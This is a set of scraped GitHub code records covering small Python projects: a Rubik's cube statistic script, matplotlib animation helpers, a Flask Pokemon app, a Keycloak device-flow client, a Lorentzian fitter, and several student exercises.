progressbar\n\nif __name__ == '__main__':\n TOT_CUBES = 100*1000\n N_MOVES = 9\n\n cubes_map = CubesMap()\n unsolved_cubes = 0\n\n for _ in progressbar(range(TOT_CUBES)):\n random_cube, _ = cube_tests.randomize_cube(n_moves=N_MOVES)\n if cubes_map[random_cube] is None:\n unsolved_cubes += 1\n\n print(f'Unsolved {unsolved_cubes} / {TOT_CUBES} (= {(unsolved_cubes/TOT_CUBES*100):.2f}%) using {N_MOVES} moves')","repo_name":"simonesestito/rubiks-cube-ai-solver","sub_path":"src/number_of_solved_cubes.py","file_name":"number_of_solved_cubes.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"9784607978","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\nfrom functools import wraps\n\nfrom .embedding import _prepare_fig_labels\nfrom .grid import img_grid, grid2d\n\n\ndef image_sequence(X, shape):\n '''Image Sequence converts a matrix with different examples in each\n row to a sequence of resized image\n\n Paramters\n ---------\n X: 2D `numpy.array`\n Matrix with flatten examples on each row\n\n shape: list\n list with the shape to resize the flatten elements in X\n convention is (channels, rows, columns)\n\n '''\n X = X.reshape((-1,)+shape)\n if len(shape) == 3:\n X = X.transpose(2, 0, 3, 1)\n X = X.reshape(X.shape[0], X.shape[1]*X.shape[2], X.shape[3])\n else:\n X = X.swapaxes(0, 1)\n X = X.reshape((X.shape[0], X.shape[1]*X.shape[2]))\n return X\n\n\ndef _prepare_axis(subplot, data=None):\n ax = plt.subplot(subplot, aspect='equal')\n if data is not None:\n xymin = data.min()-data.std()/3\n xymax = data.max()+data.std()/3\n plt.xlim(xymin, xymax)\n plt.ylim(xymin, xymax)\n ax.axis('off')\n return ax\n\n\ndef animate(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n make_frame, fig, fargs, video_length, filepath = func(*args, **kwargs)\n ani = animation.FuncAnimation(fig, make_frame, frames=video_length,\n interval=100, fargs=fargs)\n ani.save(filepath, writer='imagemagick', fps=5)\n return ani\n return wrapper\n\n\n@animate\ndef make_gif(video, filepath='video.gif', gray=True, interpolation=None):\n '''Transform a sequence of images into a gif\n\n Parameters\n ----------\n video: 4D `numpy.array`\n array with image sequences with dimensions (frames, row, col, channels)\n filepath: str\n path to save the animation\n rescale: bool\n flag to rescale displayed images by grid2d\n gray: bool\n gray scale?\n\n '''\n fig = plt.figure()\n ax1 = _prepare_axis(111)\n t = video.shape[0]\n\n if gray:\n vid = ax1.imshow(video[0], interpolation=interpolation)\n else:\n vid = ax1.imshow(video[0], cmap='gray', interpolation=interpolation)\n # plt.draw()\n\n def make_frame(t, vid):\n v = video[t]\n if video.shape[-1] == 1:\n v = v[:, :, 0]\n vid.set_data(v)\n return vid\n\n return make_frame, fig, (vid,), t, filepath\n\n\n@animate\ndef timeseries2dvideo(data, labels, filepath='ts2video.gif'):\n '''2d scatter plot video of times series embedding\n\n Parameters\n ----------\n data: `numpy.array`\n numpy array with dimensions (time, samples, 2)\n labels: `numpy.array`\n numpy vector with the label of each sample in data. `labels`\n must have the same number of elements as the second dimension\n of data\n filepath: str\n path to save the animation\n '''\n labels, palette, fig = _prepare_fig_labels(data, labels)\n ax = _prepare_axis(111, data)\n t, b, d = data.shape\n data = data.transpose(1, 0, 2).reshape((t*b, d))\n sc = ax.scatter([], [])\n\n def make_frame(t, sc):\n pts = data[t]\n color = np.hstack([palette[labels[t].astype(np.int)], 1.])\n offsets = np.vstack([sc.get_offsets(), pts])\n sc.set_offsets(offsets)\n colors = np.vstack([sc.get_facecolors(), color])\n sc.set_facecolors(colors)\n return make_frame, fig, (sc,), data.shape[0], filepath\n\n\n@animate\ndef video_embedding(video, embedding, labels, filepath='video_ebd.gif'):\n '''2D scatter plot video of times series embedding along side\n its original image sequence.\n\n Parameters\n ----------\n video: 3D `numpy.array`\n array with image sequences with dimensions (frames, samples, dim)\n embedding: 3D `numpy.array`\n 2D embedding of each video with dimensions (frames, samples, 2)\n labels: `numpy.array`\n numpy vector with the label of each sample in data. `labels`\n must have the same number of elements as the second dimension\n of data\n filepath: str\n path to save the animation\n\n '''\n labels, palette, fig = _prepare_fig_labels(embedding, labels)\n ax2 = _prepare_axis(121, embedding)\n ax1 = _prepare_axis(122)\n sc = ax2.scatter([], [])\n\n t, b, d = embedding.shape\n embedding = embedding.transpose(1, 0, 2).reshape((t*b, d))\n t, b, d = video.shape\n video = video.transpose(1, 0, 2).reshape((t*b, d))\n dim = np.sqrt(d).astype('int')\n\n init_frame = video[0].reshape((dim, dim))\n vid = ax1.imshow(init_frame, cmap='gist_gray_r', vmin=video.min(),\n vmax=video.max())\n # plt.draw()\n\n def make_frame(t, sc, vid):\n pts = embedding[t]\n frame = video[t].reshape((dim, dim))\n color = np.hstack([palette[labels[t].astype(np.int)], 1.])\n offsets = np.vstack([sc.get_offsets(), pts])\n sc.set_offsets(offsets)\n colors = np.vstack([sc.get_facecolors(), color])\n sc.set_facecolors(colors)\n vid.set_data(frame)\n return sc, vid\n\n return make_frame, fig, (sc, vid), t*b, filepath\n\n\n@animate\ndef video_img_grid(video, filepath='video_grid.gif', rescale=False):\n '''2D video grid for parallel visualization\n based on agnez.img_grid\n\n Parameters\n ----------\n video: 5D `numpy.array`\n array with image sequences with dimensions (samples, frames, channels,\n height, width)\n filepath: str\n path to save the animation\n rescale: bool\n flag to rescale displayed images by grid2d\n\n '''\n fig = plt.figure(figsize=(20, 20))\n ax1 = _prepare_axis(111)\n t = video.shape[1]\n\n grid = img_grid(video[:, 0])\n\n vid = ax1.imshow(grid, cmap='gray')\n # plt.draw()\n\n def make_frame(t, vid):\n grid = img_grid(video[:, t], rescale=rescale)\n vid.set_data(grid)\n return vid\n\n return make_frame, fig, (vid,), t, filepath\n\n\n@animate\ndef video_grid2d(video, filepath='video_grid.gif', rescale=False):\n '''2D video grid for parallel visualization\n based on agnez.grid2d\n\n Parameters\n ----------\n video: 3D `numpy.array`\n array with image sequences with dimensions (frames, samples, dim)\n filepath: str\n path to save the animation\n rescale: bool\n flag to rescale displayed images by grid2d\n\n '''\n fig = plt.figure()\n ax1 = _prepare_axis(111)\n t, b, d = video.shape\n\n grid = grid2d(video[0])\n\n vid = ax1.imshow(grid, cmap='gray')\n # plt.draw()\n\n def make_frame(t, vid):\n grid = grid2d(video[t], rescale=rescale)\n vid.set_data(grid)\n return vid\n\n return make_frame, fig, (vid,), t, filepath\n","repo_name":"AgnezIO/agnez","sub_path":"agnez/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":6717,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"78"} +{"seq_id":"41229736962","text":"import os\nimport sys\n\n\ncurrent_file = os.path.basename(__file__)[:-3]\nsys.stdin = open(f\"input/{current_file}_input.txt\", \"r\")\nresult = []\n\narr = list(input())\n\nfor i in arr:\n result.append(ord(i) - 64)\n\n\nfor _ in result:\n print(_, end= \" \")\n\noutput = open(f\"input/{current_file}_output.txt\", \"r\").readlines()\noutput = [line.strip() for line in output]\n\nprint(\"------------------- 오답 ------------------ ( 이 아래로 출력이 없으면 정답)\")\n\nfor r, o in zip(result, output):\n if r != o:\n print(f\"정답 : {o}, 오답 : {r}\")\n\n\n\n","repo_name":"qkre/SWEA","sub_path":"PJH/2050.py","file_name":"2050.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25045376236","text":"import random\nfrom flask import Flask, render_template, request, session\nimport requests\n\napp = Flask(__name__)\napp.secret_key = 'your_secret_key_here' # Change to your own secret key\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n pokemon_data = None\n if request.method == 'POST':\n pokemon_name = request.form.get('pokemon_name').lower().strip()\n response = requests.get(f'https://pokeapi.co/api/v2/pokemon/{pokemon_name}')\n if response.status_code == 200:\n pokemon_data = response.json()\n\n return render_template('index.html', pokemon_data=pokemon_data)\n\n\n@app.route('/share', methods=['GET', 'POST'])\ndef share():\n pokemon_link = \"\"\n if request.method == 'POST':\n pokemon_link = request.form.get('pokemon_link').lower().strip()\n with open(\"pokemon_links.txt\", \"a\") as PFILE:\n PFILE.write(pokemon_link + \"\\n\")\n\n pokemon_links = open(\"pokemon_links.txt\", \"r\").readlines()\n return render_template('share.html', pokemon_links=pokemon_links)\n\n@app.route('/hello/', methods=['GET'])\ndef hello(name):\n return f\"\"\"\n
    \n\"\"\"\n\n\n@app.route('/guess', methods=['GET', 'POST'])\ndef guess():\n if 'secret_number' not in session:\n session['secret_number'] = random.randint(1, 10)\n session['attempts'] = 0\n\n message = \"\"\n if request.method == 'POST':\n guess = int(request.form.get('guess'))\n session['attempts'] += 1\n\n if guess == session['secret_number']:\n message = f\"You guessed it in {session['attempts']} attempts!\"\n session.clear()\n elif guess < session['secret_number']:\n message = \"Higher!\"\n else:\n message = \"Lower!\"\n\n return f'''\n

    Guess the Number

    \n
    \n \n \n
    \n

    {message}

    \n '''\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"jeremy886/pokemon23","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"11907808837","text":"import base64\nimport io\nimport json\nfrom pprint import pprint as pp\nimport webbrowser\nimport time\n\nimport qrcode\nimport requests\n\nREALM = \"app\"\nCLIENT_ID = \"app1-device\"\nWELLKNOWN_CONFIGURATION = f\"http://localhost:8080/realms/{REALM}/.well-known/openid-configuration\"\n\n\ndef get_qrcode(url: str) -> str:\n qr = qrcode.QRCode()\n qr.add_data(url)\n f = io.StringIO()\n qr.print_ascii(out=f)\n f.seek(0)\n return f.read()\n\n\ndef main():\n # 1. getting well-known configuration\n resp = requests.get(WELLKNOWN_CONFIGURATION)\n resp.raise_for_status()\n config = resp.json()\n\n # 2. initiating flow\n resp = requests.post(config[\"device_authorization_endpoint\"], data={\n \"client_id\": CLIENT_ID\n })\n if resp.status_code == 401:\n print(resp.text)\n return\n \n resp.raise_for_status()\n resp = resp.json()\n \n device_code = resp[\"device_code\"]\n user_code = resp[\"user_code\"]\n verification_uri_complete = resp[\"verification_uri_complete\"]\n\n print(get_qrcode(verification_uri_complete))\n\n print(f\"Received usercode:\\n\\n{user_code}\\n\\nopening browser for authorization at:\\n{verification_uri_complete}\")\n print(f\"\\nStart pooling token endpoint using {device_code} device code...\")\n\n # 3. opening the browser\n webbrowser.open(verification_uri_complete)\n\n while True:\n resp = requests.post(config[\"token_endpoint\"], data={\n \"grant_type\": \"urn:ietf:params:oauth:grant-type:device_code\",\n \"client_id\": CLIENT_ID,\n \"device_code\": device_code\n })\n if resp.status_code == 400 and resp.json()[\"error\"] in [\"slow_down\", \"authorization_pending\"]:\n print(resp.json()[\"error_description\"])\n time.sleep(1)\n continue\n\n if resp.status_code == 200:\n access_token = resp.json()['access_token']\n print(f\"\\nRECEIVED TOKEN:\\n{access_token}\")\n body = access_token.split(\".\")[1]\n body += \"=\" * ((4 - len(body) % 4) % 4)\n token = json.loads(base64.b64decode(body))\n print(f\"\\nLogged in as user-id={token['sub']}\\n\")\n\n print(\"Requesting default endpoint:\")\n resp = requests.get(\"http://localhost:5000/\", headers={\"Authorization\": f\"Bearer {access_token}\"})\n print(resp.json())\n\n print(\"Requesting admin endpoint:\")\n resp = requests.get(\"http://localhost:5000/admin\", headers={\"Authorization\": f\"Bearer {access_token}\"})\n print(resp.json())\n else:\n print(f\"\\nERROR: {resp.status_code}\")\n pp(resp.json())\n break\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"aovasylenko/keycloak-auth-demo","sub_path":"app/cli_device_flow.py","file_name":"cli_device_flow.py","file_ext":"py","file_size_in_byte":2667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25184279695","text":"from scipy.stats import rv_continuous\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as s\nimport matplotlib as mpl\nimport pyplot_themes as themes\nthemes.theme_paul_tol( grid=False, ticks=False,)\nmpl.rcParams['font.family'] = 'Serif'\n\nclass Uniform(rv_continuous):\n \"Uniform distribution\"\n def _pdf(self, x):\n y = 0\n if (x < (self.a)):\n y = 0\n elif (x > (self.b)):\n y = 0\n else:\n y= 1.0/(self.b-self.a)\n return y\nP = Uniform(name='Uniform', a= 0, b =1)\nB = P.rvs(size = 10000)\ns.distplot(B)\nplt.xlabel('$x$', color = '#1C2541')\nplt.ylabel('f(x)', color = '#1C2541')\nplt.show()\n\nprint('Second moment of the uniform distribution is {}'.format(P.moment(n=2)))","repo_name":"rahulbhadani/medium.com","sub_path":"stat/Uniform_Cont.py","file_name":"Uniform_Cont.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"968001239","text":"print(\"Priyansh\")\nprint(\"1900300100165\")\nnum = input(\"Enter any number: \")\nl = len(num)\nsum = 0\ni = -1\nwhile(i>=-l):\n # print(num[i])\n sum += int(num[i])\n i -= 1\nprint (f\"sum of all digit of given number: {sum}\")","repo_name":"priyanshkulshrestha/CSI-SIG-Python","sub_path":"Module 4/Q2 Digit sum.py","file_name":"Q2 Digit sum.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8638490576","text":"n = int(input())\nm = int(input())\narr = input()\n\n# p_n = 'I' + 'OI' * n\n# cnt = 0\n# # print(p_n)\n# for i in range(0, m-len(p_n)):\n# if arr[i:i+len(p_n)] == p_n:\n# cnt += 1\n# # print(i, cnt)\n# print(cnt)\n\ni = 1\npattern = 0\ncnt = 0\nwhile i < m-1:\n if arr[i-1] == 'I' and arr[i] == 'O' and arr[i+1] == 'I':\n pattern += 1\n if pattern == n:\n pattern -= 1\n cnt += 1\n i += 1\n else:\n pattern = 0\n i += 1\nprint(cnt)\n","repo_name":"yangwooseong/algorithm","sub_path":"boj/5525.py","file_name":"5525.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7586574013","text":"\"\"\"\n=================\nLorentzian Fitter\n=================\n\nUntil 12/23/2011, lorentzian fitting used the complicated and somewhat bloated\ngaussfitter.py code. Now, this is a great example of how to make your own\nmodel!\n\nModule API\n^^^^^^^^^^\n\"\"\"\nfrom . import model\nimport numpy \n\ndef lorentzian(x,A,dx,w, return_components=False):\n \"\"\"\n Returns a 1-dimensional lorentzian of form\n A/(2*pi)*w/((x-dx)**2 + ((w/2)**2))\n \n [amplitude,center,width]\n\n return_components does nothing but is required by all fitters\n \n \"\"\"\n x = numpy.array(x) # make sure xarr is no longer a spectroscopic axis\n return A/(2.0*numpy.pi)*w/((x-dx)**2 + (w/2.0)**2)\n\ndef lorentzian_fitter():\n \"\"\"\n Generator for lorentzian fitter class\n \"\"\"\n\n myclass = model.SpectralModel(lorentzian, 3,\n parnames=['amplitude','shift','width'], \n parlimited=[(False,False),(False,False),(True,False)], \n parlimits=[(0,0), (0,0), (0,0)],\n shortvarnames=('A',r'\\Delta x',r'\\sigma'),\n )\n myclass.__name__ = \"lorentzian\"\n \n return myclass\n\n","repo_name":"pyspeckit/pyspeckit","sub_path":"pyspeckit/spectrum/models/inherited_lorentzian.py","file_name":"inherited_lorentzian.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":98,"dataset":"github-code","pt":"78"} +{"seq_id":"70028253693","text":"s=[]\nclassificacao=[0,0,0,0,0,0,0,0,0,0]\nx=0\n\nwhile x!=1:\n \n bruto=float(input(\"digite a venda bruta da semana :\"))\n x=int(input(\"digite 1 se quiser sair e 0 para continuar:\"))\n salario= 200 + (bruto*0.09)\n s.append(salario)\n \n if salario>=200 and salario<=299:\n classificacao[0]+=1\n if salario>=300 and salario<=399: \n classificacao[1]+=1\n if salario>=400 and salario<=499: \n classificacao[2]+=1\n if salario>=500 and salario<=599:\n classificacao[3]+=1\n if salario>=600 and salario<=699:\n classificacao[4]+=1\n if salario>=700 and salario<=799: \n classificacao[5]+=1\n if salario>=800 and salario<=899:\n classificacao[6]+=1\n if salario>=900 and salario<=999:\n classificacao[7]+=1\n if salario>=1000: \n classificacao[8]+=1\nprint(\"%d ganham o salario tipo -a-\"%classificacao[0])\nprint(\"%d ganham o salario tipo -b-\"%classificacao[1])\nprint(\"%d ganham o salario tipo -c-\"%classificacao[2])\nprint(\"%d ganham o salario tipo -d-\"%classificacao[3])\nprint(\"%d ganham o salario tipo -e-\"%classificacao[4])\nprint(\"%d ganham o salario tipo -f-\"%classificacao[5])\nprint(\"%d ganham o salario tipo -g-\"%classificacao[6])\nprint(\"%d ganham o salario tipo -h-\"%classificacao[7])\nprint(\"%d ganham o salario tipo -i-\"%classificacao[8])\n \n ","repo_name":"arielrocha1/ipc20161","sub_path":"lista4/ipc_lista4.16.py","file_name":"ipc_lista4.16.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16270929594","text":"from tkinter import *\n\n\napp=Tk()\nlabelTxt=StringVar()\nlabelTxt=Label(app,text='Enter a text here',font=('bold',16),foreground='#333',pady=20)\nlabelTxt.grid(row=0,column=0)\ninputField=StringVar()\ninputField=Entry(app,font=('bold',16),foreground='#333')\ninputField.grid(row=0,column=1)\nbtnsubmit\napp.title('Simple Gui')\napp.geometry(\"500x400\")\napp.mainloop()","repo_name":"17Ariel/python-case-study","sub_path":"tk.py","file_name":"tk.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"32637045466","text":"# System import\nimport os\n\n# External import\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score, f1_score, roc_auc_score, roc_curve\nfrom sklearn.model_selection import train_test_split\nfrom xgboost import XGBClassifier\n\n# Internal import\nfrom data_pre_processing import load_data\nfrom utils import plt_roc\n\n\n# TRAIN_PATH = 'preprocess_without_punctuation.csv' \n\n# TRAIN_PATH = 'preprocess_without_tokenize.csv'\n\n# TRAIN_PATH = 'preprocess_without_removing_stopwords.csv' \n\n# TRAIN_PATH = 'preprocess_without_stem.csv' \n\n# TRAIN_PATH = 'preprocess_just_stem.csv'\n\n# accuracy is: 0.9442855775672313\n# f1 score is: 0.23745153515665934\nTRAIN_PATH = 'preprocess_tokenize_and_stem.csv'\n\n# TRAIN_PATH = 'preprocess_all.csv' \n\nTEST_PATH = 'test.csv'\n\n\ndef prepare_data(load_test_data=False):\n\tpd_data = load_data(TRAIN_PATH)\n\tvector = TfidfVectorizer(\"english\")\n\n\tfeature_matrics = vector.fit_transform(pd_data['question_text'].values.astype('U'))\n\n\t# shuffle=False means pick the last 20% as dev data set.\n\tif load_test_data:\n\t\ttest_data = load_data(TEST_PATH)\n\t\ttest_feature_matrics = vector.transform(test_data['question_text'].values.astype('U'))\n\t\treturn feature_matrics, test_feature_matrics, pd_data['target'], test_data\n\telse:\n\t\treturn train_test_split(feature_matrics, pd_data['target'], test_size=0.2, shuffle=False)\n\n\ndef fit_and_predict(load_test_data, \n\t\t\t\t\ttrain_data, \n\t\t\t\t\ttest_feature_matrics, \n\t\t\t\t\ttrain_label, \n\t\t\t\t\ttest_label_OR_test_data,\n\t\t\t\t\tif_plt_roc):\n\tmodel = XGBClassifier()\n\tmodel.fit(train_data, train_label)\n\tprediction = model.predict(test_feature_matrics)\n\n\tif load_test_data:\n\t\tdel test_label_OR_test_data['question_text']\n\t\ttest_label_OR_test_data.insert(1, 'prediction', prediction)\n\t\ttest_label_OR_test_data.to_csv('submission.csv', index=False)\n\t\treturn prediction\n\telse:\n\t\tif if_plt_roc:\n\t\t\tplt_roc(test_label_OR_test_data, prediction)\n\n\t\tprint(f'accuracy is: {accuracy_score(test_label_OR_test_data, prediction)}')\n\t\tprint(f'f1 score is: {f1_score(test_label_OR_test_data, prediction)}')\n\n\nif __name__ == \"__main__\":\n\tload_test_data = False\n \n\ttrain_data, test_data, train_label, test_label = prepare_data(load_test_data)\n\tfit_and_predict(load_test_data, train_data, test_data, train_label, test_label, if_plt_roc=True)\n\n","repo_name":"mhbkb/cs229-project","sub_path":"src/gradient_boosting.py","file_name":"gradient_boosting.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"13926613430","text":"import sys\n\nfrom control_interface import ControlInterface\n\nimport serial\n\n\ndef read_to_cr(ser):\n out = []\n while True:\n ch = ser.read(1)\n if ch == \"\\r\":\n break\n out.append(ch)\n return \"\".join(out)\n\n\ndef ser_cmd_w_response(ser, cmd):\n ser.write(cmd + \"\\r\")\n ser.read(len(cmd))\n return read_to_cr(ser)\n\n\ndef ser_cmd(ser, cmd):\n ser.write(cmd + \"\\r\")\n\n\ndef hex_repr(data):\n parts = [\"%02x\" % ord(c) for c in data]\n return \":\".join(parts)\n\n\nclass ProcessTabletSerialCommands(object):\n \"\"\" Read from the tablet and do appropriate event calls on control_interface\n \"\"\"\n def __init__(self, serial_port_device_name, control_interface):\n assert isinstance(control_interface, ControlInterface)\n self.control_interface = control_interface\n self.serial_port_device_name = serial_port_device_name\n self.running = False\n\n def log(self, msg):\n print >> sys.stderr, msg\n\n def stop(self):\n self.running = False\n\n def run(self):\n self.running = True\n\n # https://pythonhosted.org/pyserial/shortintro.html#opening-serial-ports\n baudrate = 9600\n\n self.log(\"Opening serial port %r at %r bps\" % (self.serial_port_device_name, baudrate))\n ser = serial.Serial()\n ser.baudrate = baudrate\n ser.port = self.serial_port_device_name\n ser.open()\n try:\n\n # protocol description:\n # http://linuxwacom.sourceforge.net/wiki/index.php/Serial_Protocol_IV\n\n # check which port was really used\n self.log(\"Serial port %r opened\" % ser.name)\n\n # query model\n ser.write(\"~#\")\n ser.read(2)\n\n model = read_to_cr(ser)\n self.log(\"Model string: %r\" % model)\n\n # iv\n # ser_cmd(ser, \"\\r#\")\n\n config_string = ser_cmd_w_response(ser, \"~R\")\n self.log(\"Config string: %r\" % config_string)\n\n max_coordinates = ser_cmd_w_response(ser, \"~C\")\n self.log(\"Max coordinates: %r\" % max_coordinates)\n max_x, max_y = [int(v) for v in max_coordinates.split(\",\")]\n\n # max rate\n\n # in principle this command is supposed to tell the tablet to switch to a faster baud rate\n ser_cmd(ser, \"IT0\")\n\n # I was expecting to then have to bump up the baud rate on the serial port before issuing further commands.\n # But actually I continued to be able to communicate without doing that, and doing that made further\n # communications fail.\n # I don't know if this is because of:\n # - A misunderstanding about the command\n # - Digitizer II not supporting a faster rate?\n # - A problem with pyserial\n # - A quirk of my USB-serial adapter\n # - Something else\n\n # Bump up to the new baud rate\n\n # time.sleep(0.125)\n\n # print \"closing\"\n # ser.close()\n # ser = serial.Serial()\n # ser.baudrate = 19200\n # ser.port = self.serial_port_device_name\n # print \"reopening\"\n # ser.open()\n\n # time.sleep(0.125)\n #\n # Okay, we should be able to talk to the tablet again now\n #\n # ser.write(\"~#\")\n # ser.read(2)\n #\n # model_again = read_to_cr(ser)\n # assert(model_again == model)\n #\n\n # Other settings\n\n self.log(\"Enabling pressure mode\")\n ser_cmd(ser, \"PH1\")\n\n self.log(\"Disabling incremental mode\")\n ser_cmd(ser, \"IN0\")\n\n cmd_len_bytes = 7\n\n prev_data = None\n last_x = None\n last_y = None\n last_z = None\n last_buttons = None\n\n # We use timeout mode so we can get KeyboardInterrupt in a sec without any tablet events happening\n ser.timeout = 1\n\n self.log(\"Starting main loop\")\n self.log(\"Ctrl-C to exit\")\n\n try:\n\n while self.running:\n # read and process\n\n data = ser.read(cmd_len_bytes)\n # could be a null or partial read due to timeout\n while len(data) < cmd_len_bytes:\n data += ser.read(cmd_len_bytes - len(data))\n\n # print hex_repr(data), repr(data)\n\n if data == prev_data:\n continue\n\n prev_data = data\n\n # TODO: resync rather than just failing if we get out of sync\n\n assert ord(data[0]) & 0x80, \"Leading byte of frame didn't have MSB set. Are we out of sync?\"\n top_x = ord(data[0]) & 0x03 # bits 14-15 of x\n\n high_x = ord(data[1]) & 0x7f # bits 7-13 of x\n low_x = ord(data[2]) & 0x7f # bits 1-6 of x\n x = top_x << 13 | high_x << 7 | low_x\n buttons = ord(data[3]) & 0x78 # buttons\n z_low = ord(data[3]) & 0x04 # lowest or 2nd lowest z bit (depending on max pressure)\n\n top_y = ord(data[3]) & 0x03 # bits 14-15 of y\n high_y = ord(data[4]) & 0x7f # bits 7-13 of y\n low_y = ord(data[5]) & 0x7f # bits 1-6 of y\n y = top_y << 13 | high_y << 7 | low_y\n\n z_sign_bit = ord(data[6]) & 0x40\n z_sign = 1 if z_sign_bit else -1\n high_z = ord(data[6]) & 0x3f\n z = (high_z << 1 | z_low) * z_sign\n\n # print \"x: %r y: %r buttons: %x z: %r\" % (x, y, buttons, z)\n\n if (last_x, last_y) != (x, y):\n x_scaled = float(x) / max_x\n y_scaled = float(y) / max_y\n self.control_interface.mouse_move(x_scaled, y_scaled)\n last_x, last_y = x, y\n\n if (last_z, last_buttons) != (z, buttons):\n self.control_interface.touch_change(buttons, z)\n last_z, last_buttons = z, buttons\n\n except KeyboardInterrupt:\n self.log(\"Exiting\")\n\n finally:\n ser.close()\n","repo_name":"rakslice/pytablet","sub_path":"tablet_interface.py","file_name":"tablet_interface.py","file_ext":"py","file_size_in_byte":6361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13624289563","text":"class Node: # 노드 ��성\n def __init__(self, data):\n self.data = data\n self.next = None\n\nclass LinkedList: # 링크드 클래스 생성\n def __init__(self, value):\n self.head = Node(value)\n\n def append(self, value): # 새로운 노드 붙이기\n cur = self.head\n while cur is not None:\n cur = cur.next\n cur.next = Node(value)\n\n def print_all(self, value): # LinkedList 가장 끝에 있는 노드에 새로운 노드 연결\n cur = self.head\n while cur is not None:\n print(cur.data)\n cur = cur.next\n\n def get_node(self, index): # LinkedList 원소 찾기\n node = self.head\n count = 0\n while count < index:\n node = node.next\n count += 1\n return node\n\n def add_node(self, index, value): # 링크드리스트 노트 추가\n new_node = Node(value)\n if index == 0: # 만약 0이 입력되면 get_node(-1)이 호출 될 수 있기에 예외처리함\n new_node.next = self.head # 새로운 노드의 next를 현재 가지고 있는 head에 연결하고\n self.node = new_node # 우선 현재 가지고 있는 head노드를 새로운 노드로 교체\n return\n\n node = self.get_node(index - 1) # 붙일 노드의 이전 노드\n next_node = node.next # [node] -> [next_node] -> None\n node.next = new_node # [node] -> [next_node] |=> [new_node]\n new_node.next = next_node # [node] -> [new_node] -> [next_node]","repo_name":"Kyeongjin-Park/python-algorithm-prac","sub_path":"alogrithm_prac/week_2/02_08_linked_list4.py","file_name":"02_08_linked_list4.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"36079680564","text":"#Chọn người cho công việc\r\ndef chose_people(a, time, id):\r\n min_time = a[0]\r\n vt = 0\r\n for i in range(len(a)):\r\n if a[i]1:\r\n#sắp xếp tăng dần thời gian làm việc của người được chọn và sắp xếp thời gian làm việc của những công việc khác theo mảng này.\r\n for i in range(len(time[vt])):\r\n for j in range(i + 1, len(time[vt])):\r\n if time[vt][i] > time[vt][j]:\r\n time[vt][i], time[vt][j] = time[vt][j], time[vt][i]\r\n id[i], id[j] = id[j], id[i]\r\n for k in range(m):\r\n if k!=vt:\r\n time[k][i], time[k][j] = time[k][j], time[k][i]\r\n#thêm việc đã chọn vô mảng\r\n a[vt] = a[vt] + time[vt][0]\r\n return vt\r\nn, m = map(int,input().split())\r\npeople = [] # các người thực hiện công việc\r\nid = [] # tên công việc\r\ntime = [] # thời gian thực hiện công việc\r\nresult = [] # kết quả sắp xếp công việc\r\nfor i in range(m):\r\n time.append([])\r\n# Nhập công việc\r\nfor i in range(n):\r\n work_id, *work_time = input().split()\r\n id.append(work_id)\r\n for j in range(m):\r\n time[j].append(int(work_time[j]))\r\n# Khởi tạo người làm và kết quả\r\nfor i in range(m):\r\n people.append(0)\r\n result.append([])\r\n temp = str(i+1)\r\n result[i].append(\"Người thứ \"+temp+\":\")\r\n# Chọn máy\r\nwhile len(id)!=0:\r\n vt = chose_people(people,time, id)\r\n time[vt].pop(0)\r\n result[vt].append(id[0])\r\n id.pop(0)\r\n for i in range(m):\r\n if i!=vt:\r\n time[i].pop(0)\r\nprint(\"Thời gian tối thiểu để thực hiện các công việc là:\",max(people))\r\nprint(\"Công việc được sắp xếp như sau: \")\r\nfor i in range(len(result)):\r\n for j in range(len(result[i])):\r\n print(result[i][j], end=\" \")\r\n print()\r\n","repo_name":"nhatminh-it/CS106.K21","sub_path":"1.11.py","file_name":"1.11.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"6854331587","text":"from webweb import Web\n\nweb = Web(\n adjacency=[\n [1,1]\n ],\n display={\n \"metadata\": {\n \"Ward\": {\"values\": list([i+1 for i in range(10)])}\n },\n \"nodes\": {\n 1: {\n \"name\": \"Djinni of Steam\",\n \"Ward\": \"1\",\n },\n\n },\n },\n)\nif __name__ == \"__main__\":\n web.display.colorBy = \"Ward\"\n web.display.charge = 100\n web.display.linkStrength = 0.2\n web.display.linkLength = 